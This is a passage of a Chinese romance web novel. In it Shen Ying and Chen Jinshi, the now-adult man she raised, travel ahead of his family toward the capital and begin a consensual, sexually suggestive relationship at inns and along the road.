而她却不得不,一口一口吞下他的喂食,接受他的指腹蹭过她的唇。 他坦然自若,她却始终不能。 她站起身,斗篷的系带瞬时被他攥在手里,他的指尖轻轻摩挲着那截织锦,低声道:“阿姆,我替你拢好斗篷。” 这动作在旁人看来也再寻常不过,毕竟,他是那么,有孝心的一个孩子。 他拇指擦过她颈侧时,带着怎样的温度,只有沈樱知道。 她僵着身子任他摆弄,直到陈锦行不耐烦地咳嗽,他才慢悠悠松开手。 上车时,他仍旧扶着她的手臂,沈樱低头钻进车厢。 车帘落下,隔绝了他的视线,却隔不断那道如影随形的触感。 沈樱靠在角落,指尖碰了碰才被他系好的衣带,她无数次回想,他是如何把那个动作拉得那样长。 张若菱叫陈锦云睡下,见她望着车窗发呆,轻声道:“时哥儿对你,真是上心。” 沈樱扯了扯嘴角:“他从小就黏人。” 张氏悄悄打量了她半晌,心里头有个揣测,又不知该不该问出口。 沈樱有些受不了了,她开始庆幸锦行先知道了这个事情,至少她在他跟前不会觉得自己在被审视。 但是,在这个车厢内,她难以忍受张若菱的试探,她不知是该说出实情,还是继续故作无知。 这个难题不该落 到她头上来。 她掀开车帘:“陈锦时。” 陈锦时打马在她跟前,马蹄跟着车轮的节奏前行。 “还有多余的马匹吗?我也想下来骑马。” 陈锦时立时笑开来:“有的,阿姆,我扶你下来。” 马车停下,张若菱有点诧异,早知沈姑娘是楼烦人,却不知竟是个能在这冰天雪地的山地里骑马的女子。 沈樱不用他扶,长腿一迈,便从车上下来了。 陈锦时有点遗憾,讪讪收回手,翻身下马,从队伍后面牵了一匹马上前。 陈锦行劝道:“阿姆,这雪天路滑,骑马不安全……” “不妨事。” 沈樱接过陈锦时递来的马鞭,指尖一触到冰凉的皮革,竟有种久违的熟稔。 陈锦时又替她拢了拢斗篷,把兜帽给她罩在头上:“阿姆若是觉得不舒坦,便停下。” 沈樱没应声,连马镫也没踩,两手一撑,整个人便像飞起来一样,斗篷一敞,跨坐在了马背上。 这匹马性子不算温顺,她一上来,马鼻子“噗噗”出气。 一坐上高处,一览众山,凉风唰唰砸在脸上,沈樱反倒觉得舒服多了。 她手腕轻抖,马鞭在马臀上虚虚一扬,那马就像是知道了背上之人暗示似的,立马知趣地收了脾气,踏着小碎步往前挪了挪。 沈樱不满足于此,一扬鞭,马蹄踏碎积雪,溅起一片雪雾。 陈锦时笑着,没急着跟上去,他的马踏着小碎步到了陈锦行跟前:“哥哥,瞧见了吗?你们几个慢慢走,我要跟上阿姆去了,我们走得很快,不光是你们这马车跟不上,那些流言蜚语、世俗规矩,照样别想追上。弟弟这就先走了。” 陈锦行还没来得及发作,陈锦时已扬鞭。 陈锦行喊住他:“陈锦时!” 陈锦时不耐烦勒马,回头,由上而下蔑视:“还有什么事?” “顾好她,你不是小孩子了。”陈锦行放下车帘,声音低沉。 沈樱听见身后的马蹄声越来越近,却没回头,只催着马跑得更快些。 风卷着雪沫子打在脸上,有点疼,却让她繁杂的心绪清明了几分。她喜欢这样的速度,喜欢风里没有旁人窥探的目光,只有纯粹的、属于她的自由。 她人是自由的,灵魂也是,情意自然也是。 第42章 “沈樱!”陈锦时终于追上了她,他的马与她并驾齐驱,玄色斗篷与她的石青斗篷在风中交错,像两团追逐的影子,“你想甩了我?可惜我追得上你。” 沈樱没看他,睫毛上已经沾了雪粒:“陈锦时,你应该庆幸你追得上我,只有你追上我,才有资格与我说其他的。” 说罢双腿又一夹马腹,飞快窜出去好大一截,陈锦时眼底的笑意深了深,这会子他可不会装模作样去问她“手冷不冷”。 他手执马鞭,胯下骏马扬蹄追了上去。 马蹄踏碎积雪的声响如急雨般密集,溅起的雪雾在身后拉出两道白色的弧线。 身后两辆马车,早就看不见他们的身影了。 张若菱撩开马车帘子远望,被风刮得受不住,连忙躲回来,“啧”了一声:“沈姑娘竟是这般……外面太冷了,我还是别看了。” 陈锦行望着两个骑马远去,忽觉心中一顿烦躁。 他不知是为什么,许是因为,他真的没有办法追上他们,而陈锦时真的可以追上去。 两人衣袂翻飞,在风雪中几乎要融为一体。 陈锦时夹紧马腹,尽力与她并肩。 在骑术上,他不如她娴熟。 她是天生在雪原里、马背上长大的女子,而他呢,小时候身体不好,别说骑马了,捡条命都不容易。 他需要很尽力、很尽力,才能与她并肩。 “我追得上你!” 沈樱没搭理他,一会儿功夫,又窜出去一截。 陈锦时立马追上:“沈樱!我是你男人!沈樱!我是你男人!” 风雪灌进他的喉咙,呛得他胸口发紧。 沈樱笑声清脆,终于不再是觉得他这番言论叫人感到不堪了。 只是觉得可笑。 有个男人在身后追她,一边追一边说这种话,这难道不可笑吗? 她笑出声:“就当你是。” 陈锦时压下胸口的不适,她的应声伴着风雪飘过来,他随即狂喜。 “沈樱,你再说一遍,嗬嗬……” 她察觉出他的不适,便勒住缰绳,放缓了脚步。 “刚刚那么跑上一阵,我舒服多了。” 陈锦时也慢下来:“沈樱,我,我若是没病……可能也追不上你,所以我不给自己找什么借口,我只是想说,我要很用力、很用力,才能追得上你。但就算追上你的这个过程,需要吞刀子,我也愿意。” 他狠狠喘着气,沈樱没接话,只从怀里掏出这些年一直随身携带的定喘散,扔给他。 陈锦时倒出几粒褐色的药丸塞进嘴里,苦味瞬间漫开,他咂咂嘴道:“吃了药,又缓过来了,沈樱,我还能追你一程。” 她策马缓缓前行,瞅他一眼,含着笑道:“先喘匀了气再说。” 两人总算慢下来,已经与后面的马车拉开了很长很长。 两匹马踩着雪,蹄声慢悠悠的,前面已经隐约能看见镇子里的炊烟了,灰蒙蒙的。 陈锦时一手伸过去,拉过她的手,攥在手心里。 沈樱没有抽回。 心里那些说不清道不明的软意漫开来。 “沈樱,我不需要你停下来等我。” 沈樱冷眼看他:“可我不停下来的话,你会一直追。”追到死。 她知道他绝不会自主停下,意识到这一点时,她心神一颤。 他扬起一抹一如既往的顽劣笑容:“你知道就好。” 沈樱被他一噎,他又道:“我可以死在半路上。” 沈樱扭头瞪他:“陈锦时!别说瞎话!” 陈锦时无所谓地耸耸肩:“人终有一死,而我陈锦时,注定死在你的怀里,如果不能,我就会死在奔向你怀抱的过程里。” 沈樱不想再跟他生气,只是望着远处的山道:“你图什么呢?” 她盯着他的眼睛,睫毛上还凝着霜:“你以为你说这些话,我就会怎样?我从小见过饿狼分食人,见过雪崩埋人,不知多少次差点冻死在雪地里。你以为我会多么在乎一个人的死亡?” 她那么温暖浑厚的身躯里,怎么能说出这样一番话?可她说出这样的话,他恰恰感受到她生命的厚重。 陈锦时自诩是早已死过无数次的人,所以当她救活他的时候,她便成了他活着的唯一所图,他何尝不是一个空心人,只是发了疯的迷恋她。 沈樱也认为自己早已死亡,在那次死亡之前,她的人生信念只有守着家里的牛羊一年一年过下去,在那次死亡过后,她的信念便成了替将军照顾好他的孩子们,要陈锦时好好长大。 “阿姆,我什么也不图,我只是一只扑火的飞蛾,注定要朝着命运的方向奔去,无论那个方向是刀山还是火海,是要我吞刀子还是饮毒药。阿姆,这都是命中注定的事情,我也没办法。” 说着,他朝她耸耸肩,做足了纨绔子弟那种“不关我事天塌了我也不管”的态度。 沈樱的马鞭在掌心绕了两圈,忽然抬手往他背上抽了一下。 力道很大,是她的劲道。 玄色斗篷登时破口,散开的狐狸毛漫天飞舞。 “陈锦时,你命是我救的,我命令你,不许那样死。” 陈锦时背脊被她抽开一道破口,他骑着马踉跄了几步,脸上露出痛苦神色,却还是朝她呲牙咧嘴:“嘶——阿姆,你好狠的心。不过,皮鞭是我心甘情愿奉上,你若是还要训我,我如何都认。 你再抽我两鞭,刚才那一鞭子,好像还不足以让我改正。 阿姆,你知道的,我向来是个不好管教的孩子。” 沈樱的马鞭停在半空,再也抽不下去。 她声音空灵,一阵一阵传进他耳朵:“陈锦时,你所求又不多,不需要付出死亡的代价。” 他笑着催马凑近:“那要如何?” 她收了鞭子,朝他伸出一只手:“你过来。” 陈锦时的马屁颠屁颠过去,他歪着身子,把头凑过去,她的手就那么轻轻柔柔的抚摸上去,他头顶在她的掌心蹭蹭,那只手从头顶划到耳根,她捏了捏。 他浑身酥软、神魂俱颤。 “你要的不多,在可以的范围内,我都可以应承你,毕竟你是我最疼爱的孩子。” “嗯,我是。阿姆,我是你最乖的孩子。”他低垂着眼睫,她强忍着,才没有把抚摸变成一个巴掌。 她认为他现在需要被抚摸和轻哄,而不是巴掌和鞭子。 瞧,他现在不就乖了? 前面的镇子越来越近,沈樱勒停了马,看了眼尚且还早的天色。 陈锦行三人恰好赶在太阳落山之前抵达了这座镇子,马车停在城门口,留了两个伙计在此处看行李。 “我先派人去打听打听时哥儿他们两个住的哪家客栈。”陈锦行对妻子道。 张若菱道:“这两人也真是的,一溜烟就跑不见了,这可不好找。” 三人从城门口进去,很容易找到陈锦时他们会落脚的客栈,这镇上唯有那么一间像模像样的客栈。 “先去与他们会合吧。” 张若菱牵着陈锦云先进去,与掌柜的交涉了几句,不一会儿,拿出来一封信,交到陈锦行手里。 陈锦行展信一看:“哥哥、嫂嫂,我与阿姆先行一步,京城会合,勿念。” 两个时辰前,陈锦时站在城门口对沈樱说:“沈樱,如果我提出一个并不过分的要求,你应当会应的吧。” 沈樱看穿了他眼底的意思。 天色还早,只他们两个人相伴,继续往前走。 这是个大胆的决定,就像是,要与他去浪迹天涯了。 可惜普天之下莫非王土,只是短暂脱离家庭纲常的这件事情,仍然对陈锦时有着致命的吸引。 当晚,他们到了下一个城镇,在入住客栈的时候,与掌柜说,他们是夫妻。 — “如你所愿,陈锦时,一间客房。”沈樱铺着被子说道。 陈锦时站在桌边倒热水,溅在桌面上,他转过身,给她茶杯:“杯子洗过了,喝点热茶。” 沈樱没看他,一家人出行本是带了自己的被褥衣物的,现下他们两人独独剩下两匹马,好在身上还有个钱袋子。 她接过茶杯,随手把茶杯搁在塌边的小几上。 他阿姆从不用别人碰过的茶杯。 “你等着,我这就出去给你买一只。我看过了,隔壁街就有一家瓷器铺。” 门“吱呀”一声开了,他很快走出去,沈樱皱了皱眉,走到窗边撩开帘子看,他站在底下朝她挥手:“你进去吧,我去去就回。” 他的斗篷后背还破着一道口子,却丝毫不显破落气质,他生得很伟岸,眼神锐利倨傲,平时就算每日穿着布衣,也知道是位公子哥儿。 她倚在窗边静静站了一会儿,看他走远,坐回窗边,从包袱里翻出个还温热的白糖糕吃着,是白天在路边买的,她说她不吃,他非要停下来买。 这会子突然想吃了,放在嘴里嚼两下,又软又甜,她渐渐品出些滋味来,干脆脱了鞋子,往床上躺了。 过了一会儿,陈锦时回来,肩上还扛着个大包袱。 她坐起身,看他满身风尘:“你买了什么?” 陈锦时打开包袱给她看:“给你买了两件衣裳,你明日好换着穿,你别嫌这衣裳丑,镇上就那一家成衣铺子,都是金陵好几年前的样式了。” 他献宝似的把那藕荷色的裙子递过来,沈樱失笑:“我哪有那么挑剔,冬日里又不出汗,你买新衣裳做什么?我用不着换,穿旧的就行。” “我不要你穿脏的,沈樱,你既跟了爷,爷自然要让你过好日子。” 听着这话,沈樱狠狠瞪了他一眼:“没大没小。” 说着,她捏起裙角翻看,料子是寻常的细棉布,针脚还算匀实,就是颜色太浅了。 “我穿不惯这个。”她语气平淡,也没说不好。 陈锦时又从包袱里掏出一件:“这个呢?这个颜色好。” 沈樱摸了摸,问他:“多少钱?” “没多少,老板看我亲自出来给娘子买衣裳,还给我少钱了。” 说着,他又从包袱里翻出不少吃食,嘿嘿笑着:“沈樱,你爱不爱吃这个?” 是两串糖葫芦,被油纸包着。 沈樱还没从他那声“娘子”里缓过神来,他又已经往她手里塞了不少东西。 “我把我想着你会需要的东西都买了回来,你看看还有什么缺的?” 沈樱一边归置东西,一边道:“没什么需要的,从前我在羊圈里也能窝上一晚。” 她试图把他做的事情判得一文不值、多此一举。 他毫不在意。 “还有这只瓷杯,往后你就将它随时带在身上。” 沈樱无奈看他:“我没那么娇气。” 她还是接过瓷杯,是这边时兴的冰裂纹,釉质油滑润泽,极适合握在手里把玩。 陈锦时很尽心地在照顾她,为她做一些……尽管她并不真的需要的事情。 这样的示好,不,示爱行为,她并不感到反感。 她悄悄抬眼看他,发现自己还真喜欢这一套,他这一套。 他把她摆在需要被照顾呵护的位置上,沈樱极少有这样的需要,她独立且自主,向来能在最艰苦的环境生存,但陈锦时在很小的时候,就有照顾她、护着她的意识,只是那时候还不明显,如果她跟人打架的话,那么他对她的保护会显得更明显一些,这是他所拥有的展现他对她占有欲的方式。 陈锦时的头上揉上来一只手,随后她道:“谢谢你,想要什么奖励?” 她俯身在他耳根处亲了亲,将此视作一种嘉奖。 他猛地抬头,喉结滚了滚,声音低哑得发沉:“奖励?” 他往前一步,浑身上下都已蓄势待发。 “阿姆,我可以拥有奖励?” 沈樱一怔,他的身影已经全部将她笼罩。 她嘴上镇定:“可以,陈锦时,你应该得到奖励。” 她头顶的呼吸骤然粗重,她坐在床边,他站在她面前,他的腿抵进来,分开她的双腿。 “陈锦时……”她刚开口,就被他低头堵住了唇。 沈樱的唇被吻得发肿,脑子还有些懵,自己答应的事情,怎么也得做下去。 他将她推倒,倒下的一瞬,她莫名在想: 陈锦时,好样的。 她躺在柔软的被褥里,仰头看他。 他手掌撑在她耳侧,定定看着她,眼底翻涌着太多情绪,沈樱被他看得有些不自在。 “陈锦时,你看什么?”她抬手想推他,却被他顺势攥住手腕按在枕侧。 他的掌心滚烫,带着薄茧的指腹摩挲着她的皮肤。 “沈樱,你今天是不是累了?”他捧着她的脸说道。 沈樱没说话,只是看着近在咫尺的脸发呆。 他的眉骨很高,鼻梁挺直,嘴唇因为刚才的吻而泛着红,褪去了平日里的顽劣,多了几分虔诚和温顺。 她忍不住摸他毛茸茸的头颅,将他捧到唇前,主动亲吻他。 她闭上眼,主动蹭他的鼻唇,他变得更加柔软,更加温顺。 他用鼻尖轻轻蹭着她的,叫声黏腻绵长:“阿姆……” 她捧着他的脸轻轻啄吻,动作自然得好像他们是真正的夫妻。 陈锦时身体向下,将她重压在榻上,沈樱只感到灼热气息喷洒,只需要她轻吻一下,他缠住她柔软的舌,掠夺式地回吻、占有。 陈锦时总是把握主动权,主动显露欲望和请求对方给予不是 沈樱风格,她将自己所想包装成给他的奖赏,那么她只要落下一枚轻吻,他就会完全闯入,这样激烈。 他在柔软的触感中轻咬她,喉间溢出轻喘。 沈樱与他紧贴着,可以察觉他身体的所有反应,她快喘不过气时,她微微错开脸颊喘气。 他捧着她的,擦去她唇角溢出的涎液,开口道:“阿姆,你也喜欢。” 沈樱刻意压低呼吸,淡淡道:“陈锦时,你逾矩了。” 她给出的奖赏不包括这个,存在感很强的物体。 她知道它的存在,她是医师,不会不知男体构造。但,不代表她放任他可以如此抵触。 他鼻尖抵着她的,他鼻梁十分高挺,因她的血统,她鼻梁高得更甚。 若是两人都没有主动侧头,那么他们永远也不能吻上。 在她冷声斥责他逾矩了以后,他们便保持着这样抵着鼻尖的姿态。 他们两人的鼻梁都同时具有攻击力和抵御力。 她望着他的一张脸,赤诚热烈,干净纯粹,浓密修长的眼睫下是细碎柔和的深情。 尽管他的脸上是多么无辜,她腹部的热度并没有降低。 但她仍会宽恕他,毕竟,正是血气方刚的年纪,又是这样的姿势,她随便赏他一点,就足够他变成这样。 “是,我逾矩了,怎么办呢?你要如何处罚我呢?” 他望着身下人的情态,她的唇形粉红饱满,被他亲得有些发肿濡湿,她的眼眸温柔含情,她从不会露出半点娇怯,她胸口起伏的弧度就像月光下的湖面,波光粼粼,却柔和无比。 她美丽不可方物,成为一个深渊,可以让人疯狂。 不该发生的可以发生吗?就算发生了又能怎样呢? 她看出了他眼底藏着的意思,他仍旧抵在她的鼻尖轻轻试探,一头斯斯文文,一头蓄势待发。 她捧住他的脸,微微侧开鼻尖,吻住了他。 她闭上眼,一下一下地吮吻,主动用舌尖探入他,描摹他的唇和舌。 他捞起她的腰,以便贴得更近。他想,他原本就是她的男人,他天生就该被允许做这样的事情。 感知到她的主动,他狂热地回吻,沈樱差点窒息。 与他亲吻有一种矛盾感,令她沉迷又害怕。 她害怕的不是因违背道德而千夫所指,害怕的是他仿佛时刻会抵进她体内。他的存在感一向很强,攻击性也很强。 尽管她与他吻得意乱情迷,她却清楚的知道底线在哪里。 不过,男未婚,女未嫁,沈樱也并没有让自己保持贞洁的打算,那么,也不是不能做。 他们这样的身份关系,已经在极为疯狂的接吻,再避免任何都是欲盖弥彰。 他松开她,两人抵住对方的额头,轻轻喘着气。 他们的长发勾缠在一起,她推开他,他最终与她分开。从鼻腔里不满地哼了一声。 清晨,沈樱先睁眼,身侧的人睡得很沉,埋首于她颈侧。 她一颗心脏发涨似的酸麻悸动。 隔着一层中衣,他牢牢抱着她的腰,她的衣领散开,红痕留得浅,他昨晚很乖顺,只敢轻轻的,揉捏、吮吻。 他整个人几乎压在她身上,眼睛睁开的一瞬,看见她便是一亮,嗓音尚且沙哑:“阿姆……” 他往上蛄蛹了一下,趴到她身上,迷迷糊糊凑上去,含住她的唇,手臂还牢牢箍着她的腰。 他很沉,整个人几乎压在她身上,沈樱揉拽他头发:“陈锦时。” 她拉着他头发一个用劲,他一头沉沉栽在她怀里,闷哼了一声:“好软,嗯——”随即深吸了一口气,手隔着衣襟轻轻一揉。沈樱再次加大力道,拽着他头发往上走,他终于有了反应。 “好疼……” 她松开,一掌把他攮到一边去。 她坐起身,踢了他两脚:“起来了,天亮了。” 他不情不愿地睁开眼,眼神迷蒙地看着她。 “那就不走了,在这里等锦行他们来吧。” 陈锦时腾地一下坐起来,伸手揽过她的腰,把头埋进她颈窝里:“那可不行。” 两人单独走,可是他好不容易争取来的。 她拂开他的手,披衣下床。 铜盆里还剩些昨晚的炭火,她用铁钎子拨了拨,火星子噼啪跳起来。 陈锦时侧躺在床上,胸腹全露,支着头看她。 沈樱回头瞪他一眼:“还看?起来收拾东西准备出发了。” 他呲牙笑着起来。 “阿姆,”他从身后环住她的腰,下巴搁在她颈窝蹭了蹭,“你穿这件好不好?我替你穿。” 他目光黏在她后颈,一小片莹白的肌肤,还留着他昨晚留下的浅红印记。 沈樱挥开他:“美得你!” 她转过身,问他:“背上的伤怎么样了?” 他趴到床沿,把中衣褪到腰间,露出紧实的脊背。 背上的鞭伤痕迹浅,沈樱抽的时候虽没收着力,但他毕竟穿了那么多层衣服。 她蘸了些药膏,指尖触到他皮肤时,他背上筋络微微一颤。 “疼?”她放轻了力道。 “不疼。”他乖乖趴着任她摆弄。 窗外的雪不知何时停了,阳光透过积雪反射进来,亮得有些晃眼。她涂完药,正想直起身,却被他反手拽住手腕,一把拉得跌坐在他背上。 “干什么?” 满室明亮,不是昨晚昏暗氛围。 纵然是昨晚昏暗氛围,她说“不许”,他也退步。 她手撑在他上方,与他四目交投,她恍然怔住。 人的眼睛通向心灵,他眼中情与欲交杂,纵是她再不该再不该与他这样,只要感情是纯粹的,那就一点也不肮脏,对吗? 她俯身吻住他,他转过身,单手勾住她的脖颈,天光大亮,都尽心沉醉。 第43章 都兰打小就性格温柔,父兄说她往后嫁了人也定是任劳任怨的性子,还不被人欺负死,为此常常对她愁眉:“都兰,这些你不必做。” “没关系,哥哥,我有这个力气,我可以做。” 家里什么活儿她都做,就算有的事情本该是家里的男人来做。 当初跟着陈济川来金陵接手陈家家务事之前,她也断没有权衡过,值不值得?有没有回报?陈济川为她做的那些,足够换她这般辛劳吗?她从没想过这些,她只埋头就是干,就像在楼烦草原漫无目的地捡柴火一样,尽管有时忙活一整天也捡不到多少,但每多捡到一根干柴,夜晚总会好过一点,每多为将军做些力所能及的事情,她心里总会舒服一点。 都兰没有读过书,她活一天又一天,就只为了这一天又一天的安宁舒适。 每一天她该做什么,她就做什么。 今天…… 天光晃得她眼睛睁不太开,直白光线从陈锦时的肩部射下来,她双手攀着他的肩。 在都兰的人生追求里,大概,在这样的一个青天白日,与陈锦时做这样的事,就是一种应该。 毕竟,一切都是那么水到渠成、恰到好处,他想了很久,求了很久,而她恰好也想。 她张开双臂环抱住他,亲吻他的唇和眉眼。 他是一头被困许久的兽,在得到她许可的一瞬长驱直进,她的怀抱永远是那样浑厚、踏实、柔软、温暖,接纳他的粗犷弹动。 这几乎令他癫狂,他喉间溢出低低的喘,他感到难以置信,他的阿姆,就这样为他敞开胸怀,她就像他小时候一样无私,包容万物。 他俯视她清晰又洁白的面孔,望进她因阳光直射而几乎透明的浅绿琥珀瞳孔。 她从没有想过,这件事情可以见天日。 就这样明 晃晃的、洁白白的,她十分沉醉,并且几乎没有感到羞耻。 他的声音哑得厉害,鼻尖蹭过她的脸颊,带着些微的颤意,他的眼眸十分虔诚,他说:“阿姆,谢谢你的奖赏。” 沈樱没说话,只是双手攀住他的肩,指痕嵌进他饱满富有弹性的臂肌。 其实他进攻的姿态非常迷人,而她再是对他目眩神离,也装作无感,只在心底夸他:“乖孩子,好样的。”不愧是她亲手带大的男人。 “沈樱,我做得好吗?” 他额上滴下汗来,为了得到她的夸奖而十分卖力,沈樱勾住他脖颈,随着起伏开始哼出一些轻浅鼻音。 她仰起脖子,像一只洁白天鹅,他浅金色的手掌就势扶上去,虚虚拢住,恰好借力。 “阿姆,我做得好吗?” 没有得到她的回复,所以他再次发问。 脖颈上的五指缓缓收拢,握得踏实而稳固,好让她觉得,自己绝不会被他撞飞出去,但是也绝逃不掉,沈樱松开唇回答他:“你做得很好,陈锦时。” 陈锦时既将此认定为阿姆对他的奖赏,同时将此认定为自己对阿姆的献身。 阿姆值得最好的,最好的他,自然要全然奉献给她。 他的手从她脖颈处离开,拉住她的两条手腕,固定在头顶,俯身下来,头埋在她温热脖颈处,又亲又拱,随后闷哼,渐渐的,闷哼变成了明晃晃的嗯声,他张嘴咬住她柔软肩膀,似乎是对自己的表现不太满意,他头埋在那处,沉沉的,一抬也不抬,像小时候赖皮那般,唇鼻翻来覆去地埋入,没脸见她。 她推他出去,他一动不动,整个人销声,变成了一块沉重的硬石头。 “陈锦时,起来。” “不要。” 沈樱一掌把他掀开,得以喘气,他不得不脱身而出。 陈锦时转为侧躺,头埋进枕头里,掀过被子盖在身上。 沈樱坐起身,有些发笑:“你也有今天?” 向来男人只有无限自信的,一向最是自信的陈锦时,竟会在这事上认为自己做得不够好,而感到自卑。 他伸出单只手,捞她躺下,想要重新展示,沈樱一把甩开他,从床上起来。 她走到衣架前,披上外衣,天色已经不早了,他们需要尽快启程。 陈锦时脸上露出受伤神情,却也披衣起身:“我去打水。” 沈樱注视他开门出去,到绣凳上坐下,双腿不自在地交叠。 其实他做得很好,但他非要说自己不好,也许他给他自己加了更多要求和期望。沈樱不是会安慰人的,大抵,第一次就是做得不太好吧。 过了一会儿,陈锦时拎着水桶进来,他拿出昨日买来的干净毛巾,沾了水,走到她跟前蹲下,仰头望她。 沈樱交叠着双腿,衣着已是完好,穿衣之前,她自己简单地擦拭了一下。 陈锦时试探着抚上她的双膝,手臂开始发力,将她的双膝掰开,将她垂落至地的裙摆卷上,逐步露出脚踝、小腿、膝盖、大腿。 她的双腿生得十分修长笔直,由紧实的肌腱包裹,膝盖处的骨骼圆滑而凸出,大腿不算纤细,但绝对称不上一个“肥”字,轻拍一下,不会颤动,而是弹动,当然了,他也只是想想而已。 他拿着沾湿热水的巾子覆上去,沈樱感到一阵温热,她不得不俯身,手掌住他的肩。 他跪地擦拭,动作是那般恭敬,只是他指腹的蹭动出卖了他,沈樱捏紧他的肩,摇头示警。 他擦净所有脏污,为她放下裙摆,盖住所有。 盖下裙摆的一瞬,沈樱站起身,走到桌边倒了杯温水:“快些收拾,等会儿还要赶路。” “哦。”陈锦时瞥了她一眼,开始埋头收拾行李。 过了一会儿,陈锦时把包袱甩到肩上:“都收拾好了,我们走吧?” 刚踏出门,风就裹着些凉意吹过来,陈锦时下意识揽住她肩,宽大斗篷足够覆住两人,他替她挡着风,单手扯着她衣领紧了紧:“怎的不把衣领拢紧些?” 她抬手推他,声音轻轻的:“不用这样,我不冷。” 他手臂箍得更紧:“仔细吹了风头疼。” “……” 她没再反驳,任由他揽着肩往前走,走入市井之中,天地之内。 斗篷下紧贴的身体,蓬勃跳动的心脏,一切都昭示着不同,一切都与从前不同了。 “都兰。” “嗯?”沈樱诧异看他,陈锦时从未这样称呼过她。 汉人称呼的“都兰”,与她原本的名字,父兄称呼她的“都兰”发音不同。 因而用汉字把这两个字称呼出来时,她需要反应一会儿,他在叫自己。 陈锦时低头看她,指尖轻轻蹭过她被风扫乱的鬓发,声音放得比巷尾升起的炊烟还要软:“都兰,都兰……” 往常只有父亲才会这样称呼她,他妄图越过父亲,因而这样叫了。 “沈樱”是父亲为她起的名字,樱花盛开,随口而起,而她沿用至今,她很喜欢自己的汉名。 沈樱望着他的眼,他眼里是身后市井的热闹,也映着她的身影。 他这样唤她,她心底升起密密麻麻的痒意,不由自主揉紧了他的胸襟。 她别开眼,盯着路边卖糖葫芦的摊子,陈锦时登时问:“你想吃?” 沈樱摇头:“不,快走吧。” 她脱离他的怀抱,快步往前,他大步跟上,从城门处牵了马,两人翻身上马,继续前行。 渐渐远离了市井的喧嚣,走到郊外,草木的清苦和甘苦映入眼帘。 沈樱骑着马走在前面,脊背挺得笔直,心里十分满足,陈锦时跟在她身侧,稍稍错她半步。 “沈樱,你喜欢这个名字吗?” 沈樱的马蹄慢了些,琥珀的瞳孔里映着路边干枯草木,软了些神色:“喜欢。” “樱花好看,开得热闹又安静。”她抬手拂过鬓边被风吹起的碎发,“刚到金陵时,我总记不得这两个字,是将军写在纸上,教我认了好几遍。后来听人说,汉人并不认为‘樱’字好,因为樱花谢得快,我还担心过一阵,怕自己也像花一样,但将军说,别信那些妖魔鬼怪,就算有,他一刀也给斩了。” 陈锦时听得认真,见她眼底掠过一丝浅淡的怅然,知她又是想他父亲了。 他催马往前凑了凑,与她并肩齐行:“有些话本来就很没有道理。沈樱,往后有我给你斩呢,你忘了吗?我也是武将。” 沈樱打马往前:“陈锦时,我们走快些吧。” “好。”陈锦时应着,收紧了缰绳。 又走了一段路,沈樱忽然勒住马,指着前方不远处的一条小溪:“去那儿歇会儿,给马喝点水。” 陈锦时应下,翻身下马,抬手接她,她还是那般,腿一伸,便踏在土地上了。 溪水清澈,映着天上的云,岸边的草竟长得鲜嫩,马儿低下头,一个是枣红色,一个是黑色,欢快地饮着水。 沈樱蹲在溪边,把手浸进去,洗去了手上的灰尘,溪水刺骨,她却浑然不觉。 陈锦时走到她身边,也蹲下,从怀里掏出块油纸包着的酥饼,递到她面前:“你吃点。” 沈樱指尖捏着酥饼边缘,轻轻掰了一块放进嘴里,酥饼入口即化,麦香漫开。 她小口咬着酥饼,目光落在溪水里游动的小鱼上。阳光透过水面,把鱼的影子映在石子上,晃悠悠的。陈锦时蹲在她身边,没说话,只静静陪着,偶尔伸手替她拂去落在肩头的草屑。 她嘴角沾了点饼屑,正要拿手背撇掉,陈锦时已经先一步伸出手,指腹蹭过她唇角。 她下意识屏住了呼吸,抬眼望他,他眼眸深亮,像草原上盯着猎物的鹰。 她看见他喉结轻轻滚了滚,声音压得很低:“阿姆……” 沈樱没有后退,只是问他:“怎么了?” 他微微俯身,慢慢凑近:“我要接吻。” “哦,好吧。” 她闭上眼,安静等他靠近,陈锦时轻轻吻上去,吮着她的唇,心底却慌,要是她永远都是这样乖顺的阿姆就好了。 这样的慌张使他用力撬开她的唇齿,沈樱没料到他会来得这样凶猛,后退了半步,坐在了溪边的土堆上。 他的呼吸很重,吻得比方才更沉。 他忽视了她的后退和差点跌倒,手揽过她腰,另一只手掌托起她的脸庞,使之往上张开。 他向来是这般毫不掩饰的攻击,她并不在意他的放肆闯入。 她想,她都兰 也不是什么正人君子。 他将人砸得昏沉,把她牢牢圈在怀里,她顺从张口,指尖轻轻抓着他的衣襟。 他吻得有些情急,呼吸都变得粗重,但他只是将她抱得更紧,听见她细微的喘息,稍稍退开些,额头抵着她的,声音哑得厉害:“阿姆,到京城以后,我们还能这般吗?” 沈樱没躲闪,心知当然不能,手上却解了他的衣襟,指尖不自觉地,在他腹肌处上下勾动,眼睛也盯着那处。 陈锦时喘出一口热气,抓住她手,按在自己心口,那里跳得又急又重。 他低头,声音里裹着压抑的哑意:“沈樱……”她翻起眼来看他,瞬间烧得他理智全无。 他呼吸骤然变粗,俯身又吻住她,沈樱的手慢慢环住他的颈,他的吻从唇划到颈,轻轻咬着她。 沈樱轻轻哼了一声,指尖伸进他发间,轻轻揉了揉。 陈锦时俯首看她:“你上来?还是我跪下。” 说着,他屈膝要跪,她捧着他的脸,视线从上往下挪移。 沈樱闭着眼,任由他抱着,指尖轻轻剐蹭他的后背,不知过了多久,他慢慢退开,替她理好凌乱的裙摆,又把自己的衣襟拢好。 太阳西斜之前,两人骑马继续前行。 他们就像是被世俗放逐了一般,天地之大,没人能管住他们。 沈樱心想,自己的胆子竟然这么大,自己的欲望也竟然,这么大。 她放任自己做所有想做的事情,与他席地而卧,大方地满足他的所有要求,而她捧着他毛茸茸的脑袋,也享受其中。 陈锦时是一条开了荤的狗,给他闻闻肉味,他就会扑上来撕咬,几乎不需要沈樱主动做什么。 他们在离京城还有百里的镇子里等了陈锦行他们几天,会合的这一日,沈樱身披靛蓝色的穿花百蝶斗篷,站得端端正正,裙子是京里如今最时兴的样式。 张若菱一下马车见了她,眼睛一亮:“呀,这衣裳可真好看。” 沈樱拢拢披肩,笑道:“时哥儿说京里什么华章阁做的衣裳好看,便拉着我去做的。” 说着,目光落到张若菱身后的陈锦行身上,张若菱也跟着看过去,陈锦行便道:“你要喜欢,赶明儿也去做几身就是了。” 陈家入京住的是宫里给陈锦行安置的五品院判府,赶金陵的大宅子自然是差远了,官邸要合制,可不管你从前住的是多么大的好宅子。 只有两进的院子,没有马厩、花园,只有个极小的庭院,灰瓦、单檐,一切看起来都是那么狭小。 黑漆的门,两个门簪,不设石狮。 